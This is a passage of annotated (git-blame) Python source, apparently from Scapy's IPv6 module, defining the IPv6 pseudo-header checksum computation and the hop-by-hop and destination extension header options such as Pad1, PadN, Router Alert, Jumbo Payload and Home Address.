625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return False
6260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return Packet.mysummary(self)
629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                 Upper Layer Checksum computation                      ###
634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation
638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pseudo IPv6 Header"
639c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ IP6Field("src", "::"),
640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst", "::"),
64177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("uplen", None),
642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("zero", 0, 24),
6430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteField("nh", 0) ]
644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef in6_chksum(nh, u, p):
646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
647caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter    As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
649caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter    Performs IPv6 Upper Layer checksum computation. Provided parameters are:
6500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'nh' : value of upper layer protocol
6510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - 'u'  : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
6520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             provided with all under layers (IPv6 and all extension headers,
653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             for example)
654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - 'p'  : the payload of the upper layer provided as a string
655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Functions operate by filling a pseudo header class instance (PseudoIPv6)
657c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    with
658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - Next Header value
659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the address of _final_ destination (if some Routing Header with non
660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    segleft field is present in underlayer classes, last address is used.)
6610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    - the address of _real_ source (basically the source address of an
662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    IPv6 class instance available in the underlayer or the source address
663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    in HAO option if some Destination Option header found in underlayer
664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    includes this option).
665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    - the length is the length of provided payload string ('p')
666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6 = PseudoIPv6()
669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.nh = nh
670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    rthdr = 0
671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    hahdr = 0
672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    final_dest_addr_found = 0
673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while u != None and not isinstance(u, IPv6):
67477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(u, IPv6ExtHdrRouting) and
67577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            u.segleft != 0 and len(u.addresses) != 0 and
676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found == 0):
67777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            rthdr = u.addresses[-1]
678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            final_dest_addr_found = 1
67977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             isinstance(u.options[0], HAO)):
681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             hahdr  = u.options[0].hoa
68277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        u = u.underlayer
6830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if u is None:
68477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        warning("No IPv6 underlayer to compute checksum. Leaving null.")
68577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
6860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if hahdr:
68777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.src = hahdr
688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ph6.src = u.src
690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if rthdr:
69177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = rthdr
692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
69377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ph6.dst = u.dst
694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6.uplen = len(p)
695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ph6s = str(ph6)
696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return checksum(ph6s+p)
697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                         Extension Headers                             ###
702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
7060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Inherited by all extension header classes
707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6ExtHdr(_IPv6GuessPayload, Packet):
708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Abstract IPV6 Option Header'
709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    aliastypes = [IPv6, IPerror6] # TODO ...
710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#################### IPv6 options for Extension Headers #####################
713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhopts = { 0x00: "Pad1",
715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x01: "PadN",
716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x04: "Tunnel Encapsulation Limit",
717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x05: "Router Alert",
718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0x06: "Quick-Start",
719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc2: "Jumbo Payload",
720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             0xc9: "Home Address Option" }
721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _OTypeField(ByteEnumField):
7230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """
724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Modified BytEnumField that displays information regarding the IPv6 option
725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    based on its option type value (What should be done by nodes that process
726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    the option if they do not understand it ...)
727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
7280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options
729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pol = {0x00: "00: skip",
731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x40: "01: discard",
732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0x80: "10: discard+ICMP",
733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           0xC0: "11: discard+ICMP not mcast"}
7340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    enroutechange = {0x00: "0: Don't change en-route",
736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 0x20: "1: May change en-route" }
737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = self.i2s.get(x, repr(x))
740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        polstr = self.pol[(x & 0xC0)]
741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        enroutechangestr = self.enroutechange[(x & 0x20)]
742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s [%s, %s]" % (s, polstr, enroutechangestr)
743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option
745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 Unknown Option"
7460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
7490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                               length_from = lambda pkt: pkt.optlen) ]
750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # By default, no alignment requirement
751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
7520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        As specified in section 4.2 of RFC 2460, every options has
7530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        an alignment requirement ususally expressed xn+y, meaning
7540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        the Option Type must appear at an integer multiple of x octest
755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        from the start of the header, plus y octet.
7560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        That function is provided the current position from the
758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        start of the header and returns required padding length.
759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Pad1(Packet): # IPv6 Hop-By-Hop Option
763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Pad1"
764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ]
765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass PadN(Packet): # IPv6 Hop-By-Hop Option
7690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "PadN"
770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   FieldLenField("optlen", None, length_of="optdata", fmt="B"),
772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   StrLenField("optdata", "",
773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                               length_from = lambda pkt: pkt.optlen)]
774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # No alignment requirement
775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option
778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Router Alert"
779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0x05, _hbhopts),
780f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ByteField("optlen", 2),
781f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                   ShortEnumField("value", None,
782f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                  { 0: "Datagram contains a MLD message",
783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                    1: "Datagram contains RSVP message",
784f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                    2: "Datagram contains an Active Network message",
785f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   68: "NSIS NATFW NSLP",
786f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                   69: "MPLS OAM",
787f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero                                65535: "Reserved" })]
788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # TODO : Check IANA has not defined new values for value field of RouterAlertOption
789f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : Now that we have that option, we should do something in MLD class that need it
790f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    # TODO : IANA has defined ranges of values which can't be easily represented here.
791f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    #        iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml
792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 2n+0
793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 2 ; y = 0
7940d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        delta = x*((curpos - y + x - 1)/x) + y - curpos
795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Jumbo(Packet): # IPv6 Hop-By-Hop Option
7980d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = "Jumbo Payload"
799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC2, _hbhopts),
800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 4),
801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IntField("jumboplen", None) ]
802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 4n+2
803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 4 ; y = 2
8040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        delta = x*((curpos - y + x - 1)/x) + y - curpos
805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass HAO(Packet): # IPv6 Destination Options Header Option
808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Home Address Option"
809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [_OTypeField("otype", 0xC9, _hbhopts),
810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   ByteField("optlen", 16),
811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   IP6Field("hoa", "::") ]
812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos): # alignment requirement : 8n+6
813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = 8 ; y = 6
8140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        delta = x*((curpos - y + x - 1)/x) + y - curpos
815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return delta
816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_hbhoptcls = { 0x00: Pad1,
818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x01: PadN,
819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0x05: RouterAlert,
820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC2: Jumbo,
821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               0xC9: HAO }
822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Hop-by-Hop Extension Header ########################
825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _HopByHopOptionsField(PacketListField):
827b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
8310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = len(self.i2m(pkt, i))
834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return l
835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
837d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(i, list):
838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
8470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ret = ""
850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = s
851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x,ret = s[:l],s[l:]
853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            o = ord(x[0]) # Option type
859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
860d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if o in _hbhoptcls:
861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = _hbhoptcls[o]
862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
8677b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = ""
872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x+ret,opt
873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
8800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "".join(map(str, x))
883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = ""
886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s += str(Pad1())
891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
8922a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                s += str(PadN(optdata=b'\x00'*(d-2)))
893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pstr = str(p)
894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
8960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += str(Pad1())
905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
9062a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            s += str(PadN(optdata=b'\x00'*(d-2)))
907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
911c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _PhantomAutoPadField(ByteField):
914c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s, 1
919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x:
922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "On"
923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "Off"
924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrHopByHop(_IPv6ExtHdr):
927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Hop-by-Hop Options Header"
928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
9300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                                  adjust = lambda pkt,x: (x+2+7)/8 - 1),
931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
93277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 0 }}
935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Destination Option Header ##########################
938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrDestOpt(_IPv6ExtHdr):
940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Destination Options Header"
